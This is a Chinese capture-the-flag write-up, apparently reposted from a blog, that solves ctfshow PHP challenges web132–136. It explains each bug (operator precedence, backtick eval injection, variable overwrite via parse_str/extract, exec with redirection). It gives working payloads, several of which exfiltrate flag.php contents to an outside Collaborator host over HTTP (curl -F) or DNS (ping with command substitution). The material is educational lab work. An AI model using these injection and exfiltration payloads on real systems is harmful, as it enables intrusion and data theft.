ctfshow-web入门-php特性(web132-web136)
目录
1、web132
存在 robots.txt
访问 /admin
需要传三个参数,并且需要满足:
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
mt_rand(1, 0x36D) 会生成一个 1 到 877(十六进制0x36D)的随机数,因此 $code === mt_rand(1,0x36D) 这个条件很难满足,因为每次都会生成一个新的随机数,$code 很难与这个随机数相等。
当这个条件为假后,&& 后面的条件则不会再继续判断,直接返回 false;
&& 优先级高于 ||,对于 || 我们可以让最后一个条件满足,只要有一个为真都是返回 true。
后面继续判断 $code == 'admin' 即可,payload:
?username=admin&password=&code=admin
拿到 flag:ctfshow{dbe0a94b-b874-4ec4-83e6-b9e4d79b7978}
2、web133
正则表达式过滤掉了一些命令执行函数 ,substr() 函数会返回字符串的一部分,这里只截取了我们传入的前六个字符,然后执行 eval 函数。
六个字符显然不能构造出什么,但是如果我们传入的就是 $F 本身呢?
比如传入:?F=`$F `;sleep 3
观察发现页面确实存在延时,说明 sleep 3 执行成功了。
分析下为什么会这样:
`$F `;sleep 3 会先经过substr($F,0,6)截取六个字符后得到 `$F `;
然后执行 eval("`$F `;");
而其中的 $F 原本是我们传入的内容,即 `$F `;sleep 3;
因此执行的是 eval("``$F `;sleep 3`"); 也就会执行 sleep 3。
这里使用 burpsuite 的 Collaborator Client 结合 curl -F 命令外带 flag:
这个模块说实话我也是第一次用,先随机获取一个域名:
我这里复制下来是:ie06j1rcl08qz5vd887cz1c9f0ls9ix7.oastify.com
构造 payload:
?F=`$F`;+curl -X POST -F xx=@flag.php http://ie06j1rcl08qz5vd887cz1c9f0ls9ix7.oastify.com
对 payload 的一些解释:
-F 为带文件的形式发送 post 请求;
其中 xx 是上传文件的 name 值,我们可以自定义的,而 flag.php 就是上传的文件 ;
相当于让服务器向 Collaborator 客户端发送 post 请求,内容是flag.php。
提交 get 请求:
之后刷新一下 Collaborator Client 这边:
这里还可以直接命令执行:
?F=`$F`; curl http://7dlviqq1kp7fyuu27x61yqbyepkh8cw1.oastify.com/`ls`
命令的输出将被插入到 curl 命令的 URL 中
?F=`$F`; curl http://5lrtqoyzsnfd6s20fvez6ojwmnsfg94y.oastify.com/`cat flag.php|grep ctfshow`
因为 flag.php 内容是多行,所以结合 grep 找一下。
3、web134
代码审计:
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
如果通过 GET 或 POST 请求中设置了 key1 或 key2,脚本将停止执行并输出 "nonononono"。
@parse_str($_SERVER['QUERY_STRING']);
解析查询字符串并将变量提取到当前作用域中,@ 用于抑制可能的错误。
extract($_POST);
将 POST 请求中的参数提取为局部变量,这就可能会覆盖已有变量的值,例如 $key1 和 $key2。
payload:
?_POST[key1]=36d&_POST[key2]=36d
解析后,会将 $_POST['key1'] 和 $_POST['key2'] 赋值为 36d;
由于 extract($_POST),这两个 POST 参数会被提取为局部变量 $key1 和 $key2;
这样就能使 $key1 和 $key2 都等于 36d,从而通过最后的条件检查。
查看源码:
拿到 flag:ctfshow{a344ccbb-706d-40bb-a5c9-dfc5b041930b}
4、web135
新增了更多的命令过滤,但是这道题的当前目录可写。
payload:
?F=`$F`; nl f*>1.txt
之后访问 1.txt 即可看到 flag
拿到 flag:ctfshow{f5f86342-7b20-48ae-83a3-cfaa412cecac}
当然还可以用 cp、mv 命令:
?F=`$F`; cp flag.php 2.txt
?F=`$F`; mv flag.php 3.txt
也可以采用 DNS 外带的方法,payload:
?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd 'a-zA-Z0-9-'`.mf5ak5sgm49u09wh9c8g05ddg4mxatyi.oastify.com
用 nl 命令为 flag.php 文件中的每一行添加行号;
用 awk 命令选择第 15 行(flag 在多少行是需要不断尝试出来的);
tr -cd 'a-zA-Z0-9-' 这个命令会删除所有不是字母、数字、减号的内容,原本我想将大括号也保留,但是试了下不行。
这里重启了一下容器,因此 flag 有变动。
第 15 行的 flag1 内容:
?F=`$F`;+ping `nl flag.php | awk 'NR==16' | tr -cd 'a-zA-Z0-9-' `.mf5ak5sgm49u09wh9c8g05ddg4mxatyi.oastify.com
第 16 行的 flag2 内容:
flag 分为了两段,flag1 和 flag2,拼接起来,字母都改成小写字母,添加上大括号即可。
5、web136
过滤掉了一些命令和符号
其实我没怎么遇到过这个 exec 函数,尝试执行命令,但是发现回显空白:
在 PHP 中,exec、system 和、passthru 都是用来调用外部 Linux 命令的函数,但它们还是有区别的:
(1)system()
用于执行外部程序;
输出命令的执行结果到标准输出设备,并返回命令的最后一行结果;
可以通过传递第二个参数来捕获命令执行后的返回状态码。
(2)passthru()
用于执行外部程序;
将命令的原始输出直接发送到标准输出设备(通常是浏览器);
不返回任何值,但可以通过第二个参数捕获命令执行后的返回状态码。
(3)exec()
用于执行外部程序;
不会输出结果到标准输出,而是将最后一行结果作为返回值返回;
如果传入第二个参数(数组),可以将所有输出保存到这个数组中;
第三个参数是一个整数变量,用于捕获命令执行后的返回状态码。
我们可以将结果重定向到某个文件,然后再访问对应的文件,但是这里 > 被过滤了,我们可以使用 tee 命令来实现类似的功能,tee 命令可以将命令的输出写入到标准输出的同时写入到一个文件中,payload:
?c=ls|tee 1
访问 1,下载后用记事本打开,发现不存在 flag 相关的文件:
这里的 1.txt是我最开始尝试的:
才发现它过滤掉了点
但是我访问 1.txt,这个文件还是被创建了,并且里面有 ls 命令执行的结果:
仔细看了下代码,才发现这里的过滤其实就是个幌子,只是说匹配到正则会输出 too young too simple sometimes naive! 并没有直接 die 掉的,因此 exec 函数还是会继续执行的。
那我直接用重定向啊哈哈哈:
?c=ls />2.txt
访问 2.txt:
果然是虚晃一枪,发现存在名为 f149_15_h3r3 的文件。
直接读取:
?c=cat /f149_15_h3r3>3.txt
拿到 flag:ctfshow{53b1956a-8a2e-48f1-b443-f0e32d3e36b1}
如果真的是被过滤掉了,那就用 tee 命令代替:
?c=cat /f149_15_h3r3|tee 3
原文地址:https://blog.csdn.net/Myon5/article/details/140683567
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!